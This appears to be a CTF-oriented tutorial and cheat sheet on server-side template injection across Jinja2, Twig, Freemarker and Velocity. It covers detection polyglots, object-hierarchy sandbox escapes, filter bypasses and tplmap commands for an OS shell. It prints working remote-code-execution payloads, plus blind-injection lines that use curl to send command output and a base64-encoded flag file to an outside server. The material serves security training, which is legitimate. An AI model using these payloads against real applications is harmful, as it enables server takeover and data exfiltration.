Server-Side Template Injection (SSTI)
Detect and exploit SSTI vulnerabilities across Flask/Jinja2, Twig, and other template engines.
Server-Side Template Injection (SSTI)
Server-Side Template Injection (SSTI) occurs when user input is embedded directly into a server-side template without sanitization. Unlike XSS, SSTI executes on the server - often leading directly to Remote Code Execution (RCE).
How SSTI Happens
Vulnerable code (Python/Flask):
# VULNERABLE
template = "Hello " + request.args.get('name')
return render_template_string(template)
# SAFE
return render_template_string("Hello {{ name }}", name=request.args.get('name'))If you visit /?name={{7*7}} and see 49, you have SSTI.
Detection
Always start with a polyglot that triggers errors or outputs across multiple engines:
| Payload / Polyglot | Target Engine / Output Behavior |
|---|---|
{{7*7}} | Jinja2 / Twig / Freemarker (outputs 49) |
${7*7} | Freemarker / some Java engines |
<%= 7*7 %> | ERB (Ruby) |
#{7*7} | Ruby/Slim |
*{7*7} | Thymeleaf (Spring) |
{{7*'7'}} | Jinja2 outputs 7777777; Twig outputs 49 |
If you see 49, the engine is math-capable. If you see 7777777, it's almost certainly Jinja2.
Jinja2 (Flask/Python)
Identify the Engine
| Payload | Result | Engine |
|---|---|---|
{{7*'7'}} | 7777777 (string repeat) | Jinja2 |
{{7*'7'}} | 49 | Twig / others (compare with {{7*7}}) |
Basic RCE via Object Hierarchy
Jinja2's sandbox-escape technique traverses Python's object model to reach dangerous classes:
# Step 1: Find the 'warnings' module or subclasses
{{ ''.__class__.__mro__[1].__subclasses__() }}
# Step 2: Find index of subprocess or Popen (search output)
{{ ''.__class__.__mro__[1].__subclasses__()[<N>]('id', shell=True, stdout=-1).communicate() }}
# Shorter - using config object (Flask-specific)
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
# Via cycler (reliable in Flask)
{{ cycler.__init__.__globals__.os.popen('id').read() }}
# Read the flag
{{ cycler.__init__.__globals__.os.popen('cat /flag.txt').read() }}Bypassing Filters
If _ is filtered:
{{ request|attr("__class__") }}
{{ request|attr("\x5f\x5fclass\x5f\x5f") }} # hex encodingIf . is filtered:
{{ request['__class__'] }}
{{ request|attr('__class__') }}Twig (PHP / Symfony)
| Payload | Output |
|---|---|
{{7*7}} | 49 |
{{7*'7'}} | 49 (unlike Jinja2, which repeats the string) |
RCE payloads:
{{['id']|map('system')|join}}
{{['cat /flag.txt']|map('system')|join}}
# Via passthru
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}Freemarker (Java)
| Payload | Output |
|---|---|
${7*7} | 49 |
RCE:
${"freemarker.template.utility.Execute"?new()("id")}Velocity (Java)
#set($x = 7*7)${x}RCE:
#set($str=$class.inspect("java.lang.Runtime").type)
#set($runtime=$str.getRuntime())
#set($process=$runtime.exec("id"))Blind SSTI
If output isn't reflected, use out-of-band (OOB) exfiltration:
# DNS exfiltration with curl
{{ cycler.__init__.__globals__.os.popen('curl http://your-server.com/$(whoami)').read() }}
# Base64-encode the flag and exfiltrate
{{ cycler.__init__.__globals__.os.popen('curl http://your-server.com/?d=$(cat /flag|base64)').read() }}Automated Tool: tplmap
git clone https://github.com/epinna/tplmap.git
cd tplmap
pip install -r requirements.txt
# Detect and exploit SSTI automatically
python tplmap.py -u 'http://target.com/page?name=*'
# With POST parameter
python tplmap.py -u 'http://target.com/page' -d 'name=*'
# OS shell
python tplmap.py -u 'http://target.com/page?name=*' --os-shellIdentification Flowchart
Verify Reflection
If your input is reflected on the page, try sending {{7*7}}.
Analyze Math Execution
If it outputs 49, the engine evaluates expressions. Try {{7*'7'}} next.
- Outputs
7777777→ Identified as Jinja2. - Outputs
49→ Identified as Twig or Smarty.
Alternative Engines
If step 1 resulted in no output or an error, try sending ${7*7}, #{7*7}, or *{7*7}.
Match Engine
Match the successful payload against Freemarker, Thymeleaf, or ERB based on the syntax.
Last updated on